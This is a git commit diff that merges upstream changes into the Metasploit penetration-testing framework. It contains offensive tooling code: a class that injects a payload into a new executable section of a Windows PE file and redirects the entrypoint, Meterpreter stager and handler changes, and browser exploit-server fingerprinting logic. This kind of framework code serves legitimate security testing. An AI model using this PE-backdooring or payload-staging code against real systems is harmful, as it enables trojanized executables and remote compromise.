Merging upstream/master

bug/bundler_fix
OJ 2015-03-30 09:12:20 +10:00
commit 17dc2b184d
85 changed files with 3804 additions and 861 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by # Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem. # the meterpreter_bins gem.
data/meterpreter/elevator.*.dll data/meterpreter/*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
# Avoid checking in Meterpreter libs that are built from # Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality, # private source. If you're interested in this functionality,

View File

@ -9,7 +9,7 @@ PATH
json json
metasploit-concern (~> 0.3.0) metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0) metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.16) meterpreter_bins (= 0.0.17)
msgpack msgpack
nokogiri nokogiri
packetfu (= 1.1.9) packetfu (= 1.1.9)
@ -132,7 +132,7 @@ GEM
pg pg
railties (< 4.0.0) railties (< 4.0.0)
recog (~> 1.0) recog (~> 1.0)
meterpreter_bins (0.0.16) meterpreter_bins (0.0.17)
method_source (0.8.2) method_source (0.8.2)
mime-types (1.25.1) mime-types (1.25.1)
mini_portile (0.6.1) mini_portile (0.6.1)

View File

@ -264,7 +264,7 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else: else:
value = tlv['value'] value = tlv['value']
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']): if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8') value = value.encode('UTF-8')
elif not is_bytes(value): elif not is_bytes(value):
value = bytes(value, 'UTF-8') value = bytes(value, 'UTF-8')
@ -393,11 +393,17 @@ class PythonMeterpreter(object):
print(msg) print(msg)
def driver_init_http(self): def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY: if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(proxy_handler) opener = urllib.build_opener(*opener_args)
else:
opener = urllib.build_opener()
if HTTP_USER_AGENT: if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener) urllib.install_opener(opener)

View File

@ -187,13 +187,66 @@ module Metasploit
error_message error_message
end end
# Sends a HTTP request with Rex
#
# @param [Hash] Native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
# @option opts[String] 'host' The remote host
# @option opts[Fixnum] 'port' The remote port
# @option opts[Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
# @option opts[String] 'proxies' The proxies setting
# @option opts[Credential] 'credential' A credential object
# @option opts['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
rhost = opts['host'] || host
rport = opts['rport'] || port
cli_ssl = opts['ssl'] || ssl
cli_ssl_version = opts['ssl_version'] || ssl_version
cli_proxies = opts['proxies'] || proxies
username = opts['credential'] ? opts['credential'].public : ''
password = opts['credential'] ? opts['credential'].private : ''
realm = opts['credential'] ? opts['credential'].realm : nil
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
res = nil
cli = Rex::Proto::Http::Client.new(
rhost,
rport,
context,
cli_ssl,
cli_ssl_version,
cli_proxies,
username,
password
)
configure_http_client(cli)
if realm
cli.set_config('domain' => credential.realm)
end
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Attempt a single login with a single credential against the target. # Attempt a single login with a single credential against the target.
# #
# @param credential [Credential] The credential object to attempt to # @param credential [Credential] The credential object to attempt to
# login with. # login with.
# @return [Result] A Result object indicating success or failure # @return [Result] A Result object indicating success or failure
def attempt_login(credential) def attempt_login(credential)
result_opts = { result_opts = {
credential: credential, credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT, status: Metasploit::Model::Login::Status::INCORRECT,
@ -209,32 +262,13 @@ module Metasploit
result_opts[:service_name] = 'http' result_opts[:service_name] = 'http'
end end
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
begin begin
http_client.connect response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
response = http_client.send_recv(request)
if response && response.code == 200 if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e rescue Rex::ConnectionError => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
http_client.close
end end
Result.new(result_opts) Result.new(result_opts)

View File

@ -27,41 +27,6 @@ module Metasploit
end end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Request#request_raw)
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = nil
cli = Rex::Proto::Http::Client.new(host, port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies
)
configure_http_client(cli)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::Errno::EPIPE, ::Timeout::Error => e
# We are trying to mimic the same type of exception rescuing in
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
# raise Rex::ConnectionError so the #attempt_login can return the error message back
# to the login module.
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Returns the latest sid from Symantec Web Gateway. # Returns the latest sid from Symantec Web Gateway.
# #
# @returns [String] The PHP Session ID for Symantec Web Gateway login # @returns [String] The PHP Session ID for Symantec Web Gateway login

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log' untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist? if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb' tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \ $stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names." "`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
module Exe
require 'metasm'
require 'msf/core/exe/segment_injector'
class SegmentAppender < SegmentInjector
def payload_stub(prefix)
# TODO: Implement possibly helpful payload obfuscation
asm = "new_entrypoint:\n#{prefix}\n"
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded + @payload
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Don't rebase if we can help it since Metasm doesn't do relocations well
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
# TODO: Look at supporting DLLs in the future
prefix = ''
# Create a new section
s = Metasm::PE::Section.new
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
s.encoded = payload_stub prefix
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'new_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -59,20 +59,11 @@ module Exe
EOS EOS
end end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub(prefix) def payload_stub(prefix)
asm = "hook_entrypoint:\n#{prefix}\n" asm = "hook_entrypoint:\n#{prefix}\n"
asm << create_thread_stub asm << create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm) shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded shellcode.encoded + @payload
end end
def generate_pe def generate_pe

View File

@ -49,24 +49,30 @@ module Msf
# Requirements a browser module can define in either BrowserRequirements or in targets # Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([ REQUIREMENT_KEY_SET = Set.new([
:source, # Either 'script' or 'headers' :source, # Return either 'script' or 'headers'
:ua_name, # Example: MSIE :ua_name, # Example: Returns 'MSIE'
:ua_ver, # Example: 8.0, 9.0 :ua_ver, # Example: Returns '8.0', '9.0'
:os_name, # Example: Windows 7, Linux :os_name, # Example: Returns 'Windows 7', 'Linux'
:os_device, # Example: iPad, iPhone, etc :os_device, # Example: Returns 'iPad', 'iPhone', etc
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
:os_sp, # Example: SP2 :os_sp, # Example: Returns 'SP2'
:language, # Example: en-us :language, # Example: Returns 'en-us'
:arch, # Example: x86 :arch, # Example: Returns 'x86'
:proxy, # 'true' or 'false' :proxy, # Returns 'true' or 'false'
:silverlight, # 'true' or 'false' :silverlight, # Returns 'true' or 'false'
:office, # Example: "2007", "2010" :office, # Example: Returns "2007", "2010"
:java, # Example: 1.6, 1.6.0.0 :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
:clsid, # ActiveX clsid. Also requires the :method key :mshtml_build, # mshtml build. Example: Returns "65535"
:method, # ActiveX method. Also requires the :clsid key :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
:mshtml_build, # mshtml build. Example: "65535" :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) # :activex is a special case.
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;" # When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# Also see: #has_bad_activex?
:activex
]) ])
def initialize(info={}) def initialize(info={})
@ -105,68 +111,61 @@ module Msf
super super
end end
#
# Returns the custom 404 URL set by the user # Returns the custom 404 URL set by the user
# #
# @return [String] # @return [String]
#
def get_custom_404_url def get_custom_404_url
datastore['Custom404'].to_s datastore['Custom404'].to_s
end end
#
# Allows a block of code to access BES resources in a thread-safe fashion # Allows a block of code to access BES resources in a thread-safe fashion
# #
# @param block [Proc] Block of code to sync # @param block [Proc] Block of code to sync
#
def sync(&block) def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block) (@mutex ||= Mutex.new).synchronize(&block)
end end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit # Returns the resource (URI) to the module to allow access to on_request_exploit
# #
# @return [String] URI to the exploit page # @return [String] URI to the exploit page
#
def get_module_resource def get_module_resource
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/" "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end end
#
# Returns the absolute URL to the module's resource that points to on_request_exploit # Returns the absolute URL to the module's resource that points to on_request_exploit
# #
# @return [String] absolute URI to the exploit page # @return [String] absolute URI to the exploit page
#
def get_module_uri def get_module_uri
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}" "#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end end
#
# Returns the current target # Returns the current target
#
def get_target def get_target
@target @target
end end
#
# Returns a hash of recognizable requirements # Returns a hash of recognizable requirements
# #
# @param reqs [Hash] A hash that contains data for the requirements # @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements # @return [Hash] A hash of requirements
#
def extract_requirements(reqs) def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
# Make sure keys are always symbols # Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}] Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end end
#
# Sets the target automatically based on what requirements are met. # Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements. # If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target. # You can use the get_target() method to retrieve the most current target.
# #
# @param profile [Hash] The profile to check # @param profile [Hash] The profile to check
#
def try_set_target(profile) def try_set_target(profile)
match_counts = [] match_counts = []
target_requirements = {} target_requirements = {}
@ -195,30 +194,36 @@ module Msf
end end
end end
#
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
end
end
false
end
# Returns an array of items that do not meet the requirements # Returns an array of items that do not meet the requirements
# #
# @param profile [Hash] The profile to check # @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met # @return [Array] An array of requirements not met
#
def get_bad_requirements(profile) def get_bad_requirements(profile)
bad_reqs = [] bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v| @requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
expected = k != :vuln_test ? v : 'true' expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :vuln_test if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
elsif k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true' bad_reqs << k unless profile[k.to_sym].to_s == 'true'
elsif v.is_a? Regexp elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v bad_reqs << k if profile[k.to_sym] !~ v
@ -232,7 +237,6 @@ module Msf
bad_reqs bad_reqs
end end
#
# Returns the target profile based on the tag. Each profile has the following structure: # Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie_name' => # 'cookie_name' =>
# { # {
@ -253,7 +257,7 @@ module Msf
# #
# If the source is 'script', the profile might have even more information about plugins: # If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only) # 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only) # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
# 'java' : The Java version # 'java' : The Java version
# 'mshtml_build' : The MSHTML build version # 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version # 'flash' : The Flash version
@ -261,45 +265,41 @@ module Msf
# #
# @param tag [String] Either a cookie or IP + User-Agent # @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil # @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag) def get_profile(tag)
sync do sync do
return @target_profiles[tag] return @target_profiles[tag]
end end
end end
#
# Updates information for a specific profile # Updates information for a specific profile
# #
# @param target_profile [Hash] The profile to update # @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash # @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign # @param value [String] The value to assign
#
def update_profile(target_profile, key, value) def update_profile(target_profile, key, value)
sync do sync do
target_profile[key] = value target_profile[key] = value
end end
end end
#
# Initializes a profile, if it did not previously exist # Initializes a profile, if it did not previously exist
# #
# @param tag [String] A unique string as a way to ID the profile # @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag) def init_profile(tag)
sync do sync do
@target_profiles[tag] ||= {} @target_profiles[tag] ||= {}
end end
end end
#
# Retrieves a tag. # Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header. # First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled), # If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent. # then it will return a tag based on IP + the user-agent.
# #
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(cli, request) def retrieve_tag(cli, request)
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
@ -317,13 +317,12 @@ module Msf
tag tag
end end
#
# Registers target information to @target_profiles # Registers target information to @target_profiles
# #
# @param source [Symbol] Either :script, or :headers # @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request) def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request) tag = retrieve_tag(cli, request)
init_profile(tag) init_profile(tag)
@ -361,23 +360,21 @@ module Msf
}) })
end end
#
# Checks if the target is running a proxy # Checks if the target is running a proxy
# #
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false # @return [Boolean] True if found, otherwise false
#
def has_proxy?(request) def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty? !proxy_header_set.empty?
end end
#
# Returns the code for client-side detection # Returns the code for client-side detection
# #
# @param user_agent [String] The user-agent of the browser # @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection # @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent) def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent) ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name] os = ua_info[:os_name]
@ -418,11 +415,20 @@ module Msf
d['office'] = ie_addons_detect.getMsOfficeVersion(); d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString(); d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<% <%
clsid = @requirements[:clsid] activex = @requirements[:activex]
method = @requirements[:method] if activex
if clsid and method activex.each do \|a\|
clsid = a[:clsid]
method = a[:method]
%> %>
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = "";
if (ax == true) {
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
} else {
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
}
<% end %>
<% end %> <% end %>
<% end %> <% end %>
@ -438,7 +444,7 @@ module Msf
%Q| %Q|
<script> <script>
#{js} #{code}
</script> </script>
<noscript> <noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/"> <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
@ -462,12 +468,11 @@ module Msf
cookie cookie
end end
#
# Handles exploit stages. # Handles exploit stages.
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request) def on_request_uri(cli, request)
case request.uri case request.uri
when '/', get_resource.chomp("/") when '/', get_resource.chomp("/")
@ -548,18 +553,17 @@ module Msf
end end
end end
#
# Overriding method. The module should override this. # Overriding method. The module should override this.
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile # @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info) def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method" raise NoMethodError, "Module must define its own on_request_exploit method"
end end
#
# Converts an ERB-based exploit template into HTML, and sends to client # Converts an ERB-based exploit template into HTML, and sends to client
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
@ -567,7 +571,6 @@ module Msf
# then this is handled as an Array, with the first element # then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object. # being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response # @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={}) def send_exploit_html(cli, template, headers={})
html = '' html = ''
if template.class == Array if template.class == Array
@ -578,13 +581,12 @@ module Msf
send_response(cli, html, headers) send_response(cli, html, headers)
end end
#
# Generates a target-specific payload, should be called by the module # Generates a target-specific payload, should be called by the module
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile # @param browser_info [Hash] The target profile
# @return [String] The payload # @return [String] The payload
#
def get_payload(cli, browser_info) def get_payload(cli, browser_info)
arch = browser_info[:arch] arch = browser_info[:arch]
platform = browser_info[:os_name] platform = browser_info[:os_name]
@ -618,9 +620,8 @@ module Msf
private private
#
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead. # Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
#
def send_not_found(cli) def send_not_found(cli)
custom_404_url = get_custom_404_url custom_404_url = get_custom_404_url
if custom_404_url.blank? if custom_404_url.blank?

View File

@ -45,7 +45,7 @@ module Msf
register_advanced_options( register_advanced_options(
[ [
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]), OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),

View File

@ -77,6 +77,9 @@ module Handler
# Initialize the pending_connections counter to 0 # Initialize the pending_connections counter to 0
self.pending_connections = 0 self.pending_connections = 0
# Initialize the sessions counter to 0
self.sessions = 0
# Create the waiter event with auto_reset set to false so that # Create the waiter event with auto_reset set to false so that
# if a session is ever created, waiting on it returns immediately. # if a session is ever created, waiting on it returns immediately.
self.session_waiter_event = Rex::Sync::Event.new(false, false) self.session_waiter_event = Rex::Sync::Event.new(false, false)
@ -234,10 +237,14 @@ protected
# Decrement the pending connections counter now that we've processed # Decrement the pending connections counter now that we've processed
# one session. # one session.
self.pending_connections -= 1 self.pending_connections -= 1
# Count the number of sessions we have registered
self.sessions += 1
end end
attr_accessor :session_waiter_event # :nodoc: attr_accessor :session_waiter_event # :nodoc:
attr_accessor :pending_connections # :nodoc: attr_accessor :pending_connections # :nodoc:
attr_accessor :sessions # :nodoc:
end end

View File

@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction'
require 'rex/sync/ref' require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum' require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch' require 'rex/payloads/meterpreter/patch'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf module Msf
module Handler module Handler
@ -16,6 +18,7 @@ module ReverseHttp
include Msf::Handler include Msf::Handler
include Msf::Handler::ReverseHttp::UriChecksum include Msf::Handler::ReverseHttp::UriChecksum
include Msf::Payload::Windows::VerifySsl
# #
# Returns the string representation of the handler type # Returns the string representation of the handler type
@ -160,7 +163,7 @@ module ReverseHttp
def stop_handler def stop_handler
if self.service if self.service
self.service.remove_resource("/") self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0 Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
end end
end end
@ -217,6 +220,8 @@ protected
uri_match = process_uri_resource(req.relative_resource) uri_match = process_uri_resource(req.relative_resource)
self.pending_connections += 1
# Process the requested resource. # Process the requested resource.
case uri_match case uri_match
when /^\/INITPY/ when /^\/INITPY/
@ -252,7 +257,6 @@ protected
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?, :ssl => ssl?,
}) })
self.pending_connections += 1
when /^\/INITJM/ when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
@ -291,12 +295,15 @@ protected
blob = obj.stage_payload blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
# #
# Patch options into the payload # Patch options into the payload
# #
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?, :ssl => ssl?,
:url => url, :url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'], :expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'], :ua => datastore['MeterpreterUserAgent'],
@ -304,7 +311,7 @@ protected
:proxy_port => datastore['PayloadProxyPort'], :proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'], :proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'], :proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'] :proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob) resp.body = encode_stage(blob)
@ -340,6 +347,7 @@ protected
resp.code = 200 resp.code = 200
resp.message = "OK" resp.message = "OK"
resp.body = datastore['HttpUnknownRequestResponse'].to_s resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end end
cli.send_response(resp) if (resp) cli.send_response(resp) if (resp)

View File

@ -43,7 +43,8 @@ module ReverseHttps
register_advanced_options( register_advanced_options(
[ [
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
], Msf::Handler::ReverseHttps) ], Msf::Handler::ReverseHttps)
end end

View File

@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp
# @option opts [String] :url The URI to request during staging # @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to # @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to # @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
# #
@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp
encoded_url = asm_generate_wchar_array(opts[:url]) encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host]) encoded_host = asm_generate_wchar_array(opts[:host])
